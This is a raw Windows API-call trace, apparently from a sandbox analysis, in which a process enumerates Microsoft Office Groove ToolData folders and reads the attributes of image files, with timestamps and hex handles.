	[0052.579] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ac9e00, ftCreationTime.dwHighDateTime=0x1ca033a, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9ac9e00, ftLastWriteTime.dwHighDateTime=0x1ca033a, nFileSizeHigh=0x0, nFileSizeLow=0x1738, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiscussionToolIconImagesMask.bmp", cAlternateFileName="DISCUS~1.BMP")) returned 1
	[0052.579] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0052.579] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.579] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\discussiontooliconimages.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1274f8b8 | out: lpFileInformation=0x1274f8b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0009600, ftCreationTime.dwHighDateTime=0x1ca0588, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0009600, ftLastWriteTime.dwHighDateTime=0x1ca0588, nFileSizeHigh=0x0, nFileSizeLow=0x393c)) returned 1
	[0052.579] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\discussiontooliconimagesmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1274f908 | out: lpFileInformation=0x1274f908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ac9e00, ftCreationTime.dwHighDateTime=0x1ca033a, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9ac9e00, ftLastWriteTime.dwHighDateTime=0x1ca033a, nFileSizeHigh=0x0, nFileSizeLow=0x1738)) returned 1
	[0052.579] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare"), fInfoLevelId=0x0, lpFileInformation=0x1274f958 | out: lpFileInformation=0x1274f958*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.580] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.580] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.580] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xab11, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolHomePageBackground.jpg", cAlternateFileName="WSSFIL~1.JPG")) returned 1
	[0052.580] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0052.580] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.580] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare\\wssfilestoolhomepagebackground.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1274f9f8 | out: lpFileInformation=0x1274f9f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xab11)) returned 1
	[0052.581] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview"), fInfoLevelId=0x0, lpFileInformation=0x1274fa48 | out: lpFileInformation=0x1274fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.581] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.582] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.582] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2519, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveTabImage.jpg", cAlternateFileName="ACTIVE~1.JPG")) returned 1
	[0052.582] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e9eb8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveTabImageMask.bmp", cAlternateFileName="ACTIVE~1.BMP")) returned 1
	[0052.582] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BodyPaneBackground.jpg", cAlternateFileName="BODYPA~1.JPG")) returned 1
	[0052.582] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x24ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="InactiveTabImage.jpg", cAlternateFileName="INACTI~1.JPG")) returned 1
	[0052.582] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="InactiveTabImageMask.bmp", cAlternateFileName="INACTI~1.BMP")) returned 1
	[0052.582] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x98b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MarkupIconImages.jpg", cAlternateFileName="MARKUP~1.JPG")) returned 1
	[0052.582] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x74, dwReserved0=0x0, dwReserved1=0x0, cFileName="MarkupIconImagesMask.bmp", cAlternateFileName="MARKUP~1.BMP")) returned 1
	[0052.582] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0052.583] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.583] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimage.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1274fcc8 | out: lpFileInformation=0x1274fcc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2519)) returned 1
	[0052.584] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimagemask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1274fd68 | out: lpFileInformation=0x1274fd68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e9eb8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xca8)) returned 1
	[0052.584] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\bodypanebackground.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1274fdb8 | out: lpFileInformation=0x1274fdb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9bd)) returned 1
	[0052.584] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimage.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1274fe08 | out: lpFileInformation=0x1274fe08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x24ed)) returned 1
	[0052.585] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimagemask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1274fe58 | out: lpFileInformation=0x1274fe58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xca8)) returned 1
	[0052.585] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimages.jpg"), fInfoLevelId=0x0, lpFileInformation=0x1274fea8 | out: lpFileInformation=0x1274fea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x98b)) returned 1
	[0052.585] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimagesmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x1274fef8 | out: lpFileInformation=0x1274fef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582d2010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x74)) returned 1
	[0052.586] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms"), fInfoLevelId=0x0, lpFileInformation=0x1274ff48 | out: lpFileInformation=0x1274ff48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.587] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.588] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.589] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrow.jpg", cAlternateFileName="ADDTOV~1.JPG")) returned 1
	[0052.589] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x924, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrowMask.bmp", cAlternateFileName="ADDTOV~1.BMP")) returned 1
	[0052.589] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="attention.gif", cAlternateFileName="ATTENT~1.GIF")) returned 1
	[0052.589] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x614e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BG_ADOBE.GIF", cAlternateFileName="")) returned 1
	[0052.589] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x161d, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Casual.gif", cAlternateFileName="BG_CAS~1.GIF")) returned 1
	[0052.589] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7dd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Country.gif", cAlternateFileName="BG_COU~1.GIF")) returned 1
	[0052.589] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x132a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Earthy.gif", cAlternateFileName="BG_EAR~1.GIF")) returned 1
	[0052.589] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_FormsHomePage.gif", cAlternateFileName="BG_FOR~1.GIF")) returned 1
	[0052.589] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4ebb, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_FormsHomePageBlank.gif", cAlternateFileName="BG_FOR~2.GIF")) returned 1
